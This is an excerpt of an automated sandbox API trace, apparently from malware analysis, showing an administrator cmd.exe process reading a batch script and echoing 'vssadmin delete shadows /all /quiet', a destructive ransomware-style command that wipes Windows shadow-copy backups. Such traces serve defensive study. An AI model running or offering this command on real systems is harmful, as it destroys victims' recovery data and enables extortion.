(in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0035.184] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.184] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.184] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.184] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0035.184] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.184] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.184] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.184] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0035.184] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.184] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.184] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.184] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0035.184] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.184] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.184] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.184] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0035.184] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.184] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.184] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.184] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0035.184] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.185] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.185] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.185] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0035.185] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.185] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.185] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.185] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0035.185] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.185] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.185] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.185] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0035.185] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.186] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.186] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.186] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0035.186] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.186] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.186] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.186] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0035.186] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.186] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.186] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.186] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0035.186] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.186] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.186] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.186] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0035.186] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.186] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.186] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.186] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0035.186] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.187] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.187] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.187] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0035.187] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.187] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.187] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.187] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0035.187] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.187] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.187] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.187] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0035.187] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.187] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.187] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.187] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0035.187] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.187] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.187] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.187] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0035.187] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.187] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.188] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.188] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0035.188] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.188] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.188] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.188] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0035.188] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.188] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.188] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.188] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0035.188] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.188] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.188] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.188] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0035.188] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.188] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.188] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.188] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0035.188] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.188] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.188] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.188] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0035.189] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.189] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.189] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.189] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0035.189] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.189] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.189] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.189] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0035.189] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.189] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.189] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.189] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0035.189] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.189] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.189] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.189] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0035.189] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.189] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.189] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.189] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0035.189] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.189] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.190] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.190] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0035.190] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.190] GetFileType (hFile=0xe8) returned 0x3 [0035.190] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.190] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.190] _get_osfhandle (_FileHandle=1) returned 0xf4 [0035.190] GetFileType (hFile=0xf4) returned 0x3 [0035.190] _get_osfhandle (_FileHandle=1) returned 0xf4 [0035.190] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x49d9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0035.190] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x18f658, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f658*=0x24, lpOverlapped=0x0) returned 1 [0035.190] GetProcessHeap () returned 0x240000 [0035.190] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25f630 [0035.191] GetProcessHeap () returned 0x240000 [0035.191] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25f630 | out: hHeap=0x240000) returned 1 [0035.191] GetProcessHeap () returned 0x240000 [0035.191] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0035.191] GetProcessHeap () returned 0x240000 [0035.191] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x22) returned 0x254610 [0035.192] GetProcessHeap () returned 0x240000 [0035.192] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x48) returned 0x25aa90 [0035.192] GetConsoleOutputCP () returned 0x4e3 [0035.192] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49d9bfe0 | out: lpCPInfo=0x49d9bfe0) returned 1 [0035.192] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0035.192] GetConsoleTitleW (in: lpConsoleTitle=0x18f610, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0035.193] GetProcessHeap () returned 0x240000 [0035.193] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0035.193] GetProcessHeap () returned 0x240000 [0035.193] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5a) returned 0x259b30 [0035.193] GetProcessHeap () returned 0x240000 [0035.193] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x259090 [0035.193] SetErrorMode (uMode=0x0) returned 0x0 [0035.193] SetErrorMode (uMode=0x1) returned 0x0 [0035.193] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2590a0, lpFilePart=0x18eea0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18eea0*="Desktop") returned 0x25 [0035.193] SetErrorMode (uMode=0x0) returned 0x1 [0035.193] GetProcessHeap () returned 0x240000 [0035.193] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259090, Size=0x6e) returned 0x259090 [0035.193] GetProcessHeap () returned 0x240000 [0035.193] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259090) returned 0x6e [0035.193] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0035.194] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0035.194] GetProcessHeap () returned 0x240000 [0035.194] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0035.194] GetProcessHeap () returned 0x240000 [0035.194] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0035.194] GetProcessHeap () returned 0x240000 [0035.194] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0035.194] GetProcessHeap () returned 0x240000 [0035.194] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0035.194] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0035.194] GetProcessHeap () returned 0x240000 [0035.194] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259db0 [0035.194] GetProcessHeap () returned 0x240000 [0035.194] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259db0, Size=0x7e) returned 0x259db0 [0035.194] GetProcessHeap () returned 0x240000 [0035.194] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259db0) returned 0x7e [0035.194] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.194] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0xffffffffffffffff [0035.195] GetLastError () returned 0x2 [0035.195] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0xffffffffffffffff [0035.195] GetLastError () returned 0x2 [0035.195] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.195] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", 